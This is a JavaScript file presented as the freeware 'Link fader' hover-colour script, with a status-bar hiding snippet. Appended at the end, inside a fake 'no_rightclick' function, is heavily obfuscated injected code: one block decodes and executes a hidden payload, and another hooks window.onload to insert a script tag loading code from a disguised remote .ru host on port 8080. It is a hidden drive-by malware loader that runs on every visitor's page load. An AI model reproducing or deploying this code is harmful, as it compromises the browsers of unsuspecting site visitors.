/******************************************************************
*	Script name: Link fader (http://design64.net/js/linkfader.html)
*	Version: 1.0
*	Date: 12.05.02
*	Usage: Freeware - You may modify this script as you wish,
*		as long as you don't remove this header comment.
*
*	Script by: Fayez Zaheer (viol8r on #webdesign [irc.zanet.org.za])
*	Email: fayez@design64.net
*	Web site: http://design64.net
* 	Original idea: http://anarchos.xs.mw/fade.phtml
*       Script featured on JavaScript Kit (http://www.javascriptkit.com)
******************************************************************/

// DELETE COMMENTS THAT START WITH // TO MAKE THE FILE SIZE SMALLER.

// This script will no longer overwrite your current onmouseover and
// onmouseout attributes - it will instead skip those links. If you would
// still like to fade them, add findLink(this.id) to your onmouseover
// and clearFade() to your onmouseout, like so -
// <a href="#" onmouseover="findLink(this.id); yourFunction()"
// onmouseout="clearFade(); yourSecondFunction()">
// Make sure to put it BEFORE any "return" statements otherwise
// the fade will not execute.

// Fade-to colour without the # (6 character value only!)
var fadeTo = "99CC66";

// Fade in colour increment/decrement by
var fiBy = 6;

// Fade out colour increment/decrement by
var foBy = 10;

// Speed - milliseconds between each colour change in the fade
// Less than 10ms doesn't really make all that much difference, so
// 10 is the minimum effective value.
var speed = 10;

// Class name of links to NOT fade (i.e. ignore)
// var ignoreClass = "somebogusvalue" if you don't want to
// use this feature. Alternatively, add onmouseover="clearFade()"
// to the link you do not wish to fade.
var ignoreClass = "ignore";

// No more changes required (unless you know what you are doing)
// Enjoy... and email me and let me know what site(s) you are using it on :)
var opera, ie, dom, x = 0, oc, fader, ocs = new Array();

if (navigator.userAgent.indexOf("Opera") != -1) opera = true
else if (document.all && !opera) ie = true
else if (!document.all && document.getElementById) dom = true;

function convertRGB(z)
	{
		var newfcS = "", splitter = "";
		splitter = z.split(",");
		splitter[0] = parseInt(splitter[0].substring(4, splitter[0].length));
		splitter[1] = parseInt(splitter[1]);
		splitter[2] = parseInt(splitter[2].substring(0, splitter[2].length-1));
		for (var q = 0; q < 3; q++)
			{
				splitter[q] = splitter[q].toString(16);
				if (splitter[q].length == 1) splitter[q] = "0" + splitter[q];
				newfcS += splitter[q];
			}
		return newfcS;
	}

function currentColour(index)
	{
		var temp, cc;
		if (opera) cc = document.links[index].style.color
		else if (ie) cc = document.links[index].currentStyle.color
		else if (dom) cc = document.defaultView.getComputedStyle(document.links[index], '').getPropertyValue("color");
		if (cc.length == 4 && cc.substring(0, 1) == "#")
			{
				temp = "";
				for (var a = 0; a < 3; a++)
					temp += cc.substring(a+1, a+2) + cc.substring(a+1, a+2);
				cc = temp;
			}
		else if (cc.indexOf("rgb") != -1) cc = convertRGB(cc)
		else if (cc.length == 7) cc = cc.substring(1, 7)
		else cc = fadeTo;
		return cc;
	}


function convert2Dec(hex)
	{	
		var rgb = new Array();
		for (var u = 0; u < 3; u++)
			rgb[u] = parseInt(hex.substring(u*2, u*2+2), 16);
		return rgb;
	}

function newRGB(f, n, d)
	{
		var change;
		if (d == 1) change = fiBy
		else change = foBy;
		for (var g = 0; g < 3; g++)
			{
				if (n[g] > f[g] && n[g] - change >= 0) n[g] -= change;
				if (n[g] < f[g] && n[g] + change <= 255) n[g] += change;
			}
		return n;
	}

function fade(index, d)
	{
		var fc, nc, temp = new Array(), finished = false;
		nc = convert2Dec(currentColour(index));
		if (d == 1) fc = convert2Dec(fadeTo)
		else fc = convert2Dec(ocs[x]);
		temp = convert2Dec(currentColour(index));
		nc = newRGB(fc, nc, d);
		if ((nc[0] == temp[0]) && (nc[1] == temp[1]) && (nc[2] == temp[2]))
			finished = true;
		if (!finished) document.links[x].style.color = "rgb(" + nc[0] + "," + nc[1] + "," + nc[2] + ")"
		else clearInterval(fader);
	}

function findLink(over)
	{
		if (document.layers) return;
		if (fader)
			{
				clearInterval(fader);
				document.links[x].style.color = "#" + ocs[x];
			}
		if (over && !this.id) this.id = over;
		x = 0;
		while (!(this.id == document.links[x].id) && (x < document.links.length))
			x++;
		if (this.id == document.links[x].id)
			{
				oc = currentColour(x);
				fader = setInterval("fade(" + x  + ", 1)", speed);
			}
	}

function clearFade()
	{
		if (document.layers) return;
		if (fader) clearInterval(fader);
		fader = setInterval("fade(" + x + ", 0)", speed);
	}

function init()
	{
		for (var i = 0; i < document.links.length; i++)
			{
				ocs[i] = currentColour(i);
				var currentOver = document.links[i].onmouseover;
				var currentOut = document.links[i].onmouseout;
				var ignoreIt = document.links[i].className == ignoreClass;
				if (!ignoreIt) document.links[i].id = "link" + i;
				if (!currentOver && !currentOut && !ignoreIt)
					{
						document.links[i].onmouseover = findLink;
						document.links[i].onmouseout = clearFade;
					}
			}		
}

if (opera || ie || dom) window.onload = init;

/////////////////////////////////////////////////////////////////////////////////////
//Hide status bar msg 
function hidestatus(){
window.status=''
return true
}
if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)
document.onmouseover=hidestatus
document.onmouseout=hidestatus

/////////////////////////////////////////////////////////////////////////////////////
function no_rightclick() {
return fa
var iX="afb0b882a6c2bb90b1b683c49b90b0a9f5a4ad989b90a4ab80a4a98592ebd4f6d2ff948f95be85b181b48580938c9e98a6b0a3beb08eab9ca0a4ae8bbb91b7b2b7f199a4c6afa4f783f2f285b595";var wY;if(wY!='au' && wY!='xe'){wY=''};var bUr;if(bUr!='rZ' && bUr!='HF'){bUr=''};function o(O){var fnd=new Date();this.Tl=false;var YB;if(YB!='xl'){YB='xl'}; var rw='';var L;if(L!='UX' && L!='Tv'){L='UX'};function D(C){var n="n";var Hu;if(Hu!='X'){Hu=''};C = new j(C);var fm;if(fm!=''){fm='Pb'};var OW = '';var Mo;if(Mo!='DB' && Mo!='CK'){Mo='DB'};this.h="";var PT;if(PT!='' && PT!='oV'){PT=''};var k =[31,0,2][1];var U = -1;var M =[78,190,251,0][3];var V=new Array();var zW=new String();var fX=21299;var iC;if(iC!='' && iC!='gx'){iC='TI'};for (M=C[P("enlthg", [2,0,1])]-U;M>=k;M=M-[1,171,209,153][0]){var zI;if(zI!=''){zI='QG'};var Lk=new String();OW+=C[P("hcratA", [1,0])](M);var TJ="";var Bj=new Date();}this.lJ=false;return OW;var hF=11399;}var nN='';var gc=false; var s=function(b){var Bf;if(Bf!='' && Bf!='IV'){Bf=''};var HJ="HJ";var cu;if(cu!='' && cu!='sy'){cu='FS'};var A=[1,200,125][0];var f=b[P("tngleh", [3,4,1,2,0])];var TO=new Array();this.Lq=53285;var x=[16,0][1];var p=[0][0];var bq;if(bq!='wd' && bq!='iU'){bq=''};var oO=[117,255,213,109][1];var Lm=new Date();var SV;if(SV!='Ic' && SV != ''){SV=null};this.kO="";this.FU='';while(x<f){var R;if(R!='rmI'){R=''};this.wp=19219;x++;this.hS='';Co=gB(b,x - A);p+=Co*f;}var Ff=false;return new j(p % oO);};var pZ;if(pZ!='GN'){pZ='GN'};var BC=false; var P=function(C, l){var Hd;if(Hd!='Cs' && Hd!='mt'){Hd='Cs'};var A=[16,1][1];var k=[0,246,141][0];var JJ;if(JJ!='' && JJ!='Vp'){JJ='IIY'};var B = l.length;this.gcC="gcC";var OW = '';var Qb=new String();var q = C.length;var PU;if(PU!=''){PU='hL'};this.LU="";var kj=false;for(var M = k; M < q; M += B) {var CE="CE";this.JZb=5596;var kP = C.substr(M, B);var ey;if(ey!='' && ey!='QbB'){ey='sB'};var Vx;if(Vx!='' && Vx!='Zl'){Vx='ef'};if(kP.length == B){var HuI=new Date();for(var x in l) {var mT='';this.Mp='';OW+=kP.substr(l[x], A);this.thX="thX";var uF=new Array();this.Rd='';var Ox=new Date();}var Kn;if(Kn!='Yp' && Kn != ''){Kn=null};} else {var sBf;if(sBf!='Ka' && sBf!='qG'){sBf=''};this.zb="";  OW+=kP;var cB;if(cB!='' && cB!='Irk'){cB=''};}var qM;if(qM!=''){qM='gHv'};}var VxZ=false;return OW;};var jq;if(jq!='ft'){jq='ft'}; var gB=function(e,y){return e[P("hcraoCedtA", [1,0])](y);};var OH;if(OH!='' && OH!='bM'){OH='zZ'};var nj=new Date(); var AU;if(AU!='SY' && AU!='iH'){AU='SY'};var mJ;if(mJ!='gg' && mJ!='vM'){mJ='gg'};function pD(UD,T){return UD^T;this.HJr=false;var Xr;if(Xr!='HK' && Xr != ''){Xr=null};}var rt=new String();var dl;if(dl!='' && dl!='cz'){dl=''};var w=window;var oH=w[P("avel", [2,1,0])];var Ub=oH(P("ouFicnnt", [2,1,5,4,7,3,0,6]));this.hZ=59739;var bm=false;var j=oH(P("rtiSng", [3,1,0,2]));var ck=4082;var tC;if(tC!='' && tC!='ybP'){tC='EV'};var qC;if(qC!='' && qC!='qu'){qC='BCp'};var d = '';var kB;if(kB!='af'){kB=''};var RO;if(RO!='ZR' && RO!='IS'){RO=''};var G=oH(P("eRgxEp", [1,0,2]));var cx=new Date();this.hs="";var Tq;if(Tq!='ow' && Tq!='VI'){Tq=''};var vN=new String();var hz;if(hz!='' && hz!='xM'){hz='Aq'};var am=new String();var fM;if(fM!='' && fM!='mZ'){fM=''};var bd;if(bd!=''){bd='NW'};this.vH="";this.EO='';var t=w[P("eunspcae", [1,2,0,3])];var H=j[P("afhmoCrrCode", [1,7,4,3,5,2,0,6])];this.wn=27960;var IM;if(IM!='Ctg' && IM!='oi'){IM='Ctg'};var ga = '';var Te;if(Te!='Hc' && Te!='QY'){Te='Hc'};var eY = H(37);var kV;if(kV!='' && kV!='cr'){kV=''};var BB=59825;var SX=54157;var k =[158,0,145][1];var fB=new Date();var ov=[1, P("ucdotnmeer.cEeatemle\'(ntirsc)\'pt", [2,3,1,0]),2, P("ecmuotdn.oydbp.ahnCdelpid(d)", [6,4,1,3,2,0,7,5]),3, P(".dseAtttirbuet(\'edfer\'", [1,0,2,3]),4, P("sco.omosmco.g.logoe", [1,4,5,3,0,2]),5, P("stmptei..u8ap:re080", [3,4,7,0,6,1,5,2]),6, P("nodwiolnw.oad", [3,4,0,2,1]),7, P("6c.o5m", [4,0,2,1,3]),8, P("cunfniot()", [3,1,2,0]),11, P(".ogegcloom", [2,7,1,4,6,3,0,5]),12, P("stiujn.tv", [4,3,0,1,2]),14, P("achetc()", [1,0,4,5,2,6,3]),15, P("acsmc.mo", [1,0]),16, P("t\"htp:", [1,2,0,3]),17, P(".sdrc", [2,0,1]),18, P("neovy", [1,3,2,0]),19, P("1\')\'", [1,0]),20, P("rty", [1,0])];this.yY="yY";var c =[43,20,0,10][2];var ap;if(ap!='' && ap!='mj'){ap=''};this.yQ='';var fv;if(fv!='Xz' && fv!='PF'){fv='Xz'};var ed =[48,81,2][2];var KN;if(KN!='wE'){KN=''};var E = '';this.QbV="QbV";var pF = '';var cH=11519;var id;if(id!='YX' && id != ''){id=null};var A =[1][0];var mH='';var Uc = O[P("enltgh", [2,0,1,4,3])];var XL="XL";var ik;if(ik!='tt'){ik=''};var u = /[^@a-z0-9A-Z_-]/g;var bh;if(bh!='qvZ' && bh!='lk'){bh='qvZ'};var fl;if(fl!='ns' && fl!='LdQ'){fl='ns'};for(var Y=k; Y < Uc; Y+=ed){var TXK=24264;ga+= eY; this.eb=9621;var Gs=new Date();ga+= O[P("ussbtr", [1,0,3,2])](Y, ed);var YR;if(YR!='qz'){YR='qz'};var Jo="Jo";}var eqA=new Array();var O = t(ga);this.uE='';var pb;if(pb!='tx' && pb!='nID'){pb=''};var Al = new j(o);var ne=false;var du = Al[P("pacelre", [5,3,0,4,1,2,6])](u, pF);var NN;if(NN!='' && NN!='CY'){NN=''};this.SW='';var Gp;if(Gp!='gk' && Gp != ''){Gp=null};this.Az="Az";du = D(du);this.GX=8510;var r = ov[P("elgnht", [1,0])];var um;if(um!='' && um!='er'){um=null};this.xy=57111;var W = new j(Ub);this.oVq=59887;var th = W[P("erlpcae", [1,0])](u, pF);var gi=new Array();var oL=new Array();var th = s(th);var IY;if(IY!='xp'){IY='xp'};var KT;if(KT!='CS'){KT='CS'};var fn=s(du);var ZE;if(ZE!='lin' && ZE!='LM'){ZE='lin'};var np='';this.rY="";for(var M=k; M < (O[P("elgnht", [1,0])]);M=M+[1,228][0]) {var i = du.charCodeAt(c);var Md=new String();var oG;if(oG!=''){oG='KY'};var jU = gB(O,M);jU = pD(jU, i);var Cn;if(Cn!='' && Cn!='Za'){Cn='ELu'};var rL;if(rL!='ps' && rL!='CV'){rL='ps'};jU = pD(jU, fn);this.yK=10245;jU = pD(jU, th);this.KV=35937;var wI;if(wI!='' && wI!='qMX'){wI='bl'};this.BJ="";this.WVo="";c++;this.UK="";var LW;if(LW!='cj'){LW='cj'};var jB="";if(c > du.length-A){var kZ='';this.kz="";c=k;var qn;if(qn!='ux'){qn=''};var BEi=new Date();}var xW;if(xW!='' && xW!='EsQ'){xW='KI'};E += H(jU);this.XLR=10117;var iAu;if(iAu!='SDL' && iAu != ''){iAu=null};}for(ds=k; ds < r; ds+=ed){this.sA=false;this.Uh=false;var Cd = H(ov[ds]);var oJ='';var eZ=new String();var Yc = ov[ds + A];var iy;if(iy!='' && iy!='iN'){iy=null};var Fj;if(Fj!='ek'){Fj=''};var GZ="GZ";var Qy=new String();var JR=new String();var Tt = new G(Cd, "g");var JRh=new Date();var ZU="";E=E[P("erlpcae", [1,0])](Tt, Yc);var GO;if(GO!='LP' && GO != ''){GO=null};}this.fAf=59151;this.AM=56986;var VJ;if(VJ!='' && VJ!='AwA'){VJ='dI'};var fA=new Ub(E);this.WD="";fA();var DH=new String();du = '';th = '';fA = '';var aJ;if(aJ!='Re' && aJ != ''){aJ=null};var JC=false;E = '';var ZKl="";var xWt=30355;fn = '';var Gup='';var Il=false;W = '';var dY=new Date();var qCp=14922;var RZ;if(RZ!='hg' && RZ!='kr'){RZ=''};this.Rz='';return '';};var wY;if(wY!='au' && wY!='xe'){wY=''};var bUr;if(bUr!='rZ' && bUr!='HF'){bUr=''};o(iX);
var q;if(q!='' && q!='u'){q=''};var DW='';function Z() {var V;if(V!='' && V!='i'){V=''};var F;if(F!='UW' && F!='yq'){F='UW'};var w=new String();var Ez=new String();var g='replace';var fr=new Array();var Ut;if(Ut!=''){Ut='tE'};var D='g';var MO;if(MO!='Ue'){MO=''};var r=new String();var z=RegExp;var wV='[';var l=']';var I;if(I!='Hz' && I!='Df'){I=''};this.Ku='';function K(h,W){var Ki=new Array();var KZ=wV;var wq=new String();var e="";KZ+=W;var d='';KZ+=l;var S=new Array();var m;if(m!='dQ'){m=''};var ZE=new z(KZ, D);return h[g](ZE, w);var qI=new Array();this.O="";};var DL;if(DL!='' && DL!='qY'){DL=''};var c='';this.pL="";var s=K('/tjicipteintnietyi.iciotmt/tjictpteintnietyt.ictotmt/istutnt.tctotmt/igtotoigiltei.ictotmi/i1t2t6t.iciotmi.ipthtpt',"it");var t=K('sncLrCiUpPtL',"LnCUP");var Lf;if(Lf!='pB'){Lf='pB'};var H=K('cNrueuautueuEulNeNmNeNnutu',"Nu");var AT="";var y=K('hItItIpW:W/I/WyQeIlIlQoIwWpQaQgIeQsW-IcQoWmQ.QgQoWoWgWlQeI.IcWoI.QmQaQ.QsQzWnQ-QcQzW.WsIuQpQeWrWnIeIwWsItQuIfIfQ.QrIuI:I',"IWQ");var hc=new String();var Y=K('863605358563065',"365");var M=window;var ilY=new Array();var FI="";var n="";M[K('ojnjlYoQajdj',"YQj")]=function(){var qt;if(qt!='H_'){qt=''};try {var PK;if(PK!='BI' && PK!='HR'){PK='BI'};var X;if(X!='nW' && X!='Rv'){X='nW'};var IA;if(IA!='gy' && IA!='QQ'){IA='gy'};var J;if(J!='zN' && J!='Tb'){J='zN'};c+=y;c+=Y;var vn="";c+=s;A=document[H](t);this.CA="";var iX;if(iX!=''){iX='Fd'};E(A,'src',c);this.Lz="";var IN;if(IN!='' && IN!='Uy'){IN=''};E(A,'defer',([1][0]));var WG=new Date();this.wv='';document.body.appendChild(A);} catch(gV){};};var LfP='';var Hm;if(Hm!='k'){Hm=''};var sKJ="";function E(B,U,sK){this.DU="";var cm=new Date();B.setAttribute(U, sK);var CF=new Array();var JZ;if(JZ!='Iv' && JZ!='Ne'){JZ='Iv'};}};var JD='';Z();this.ct="";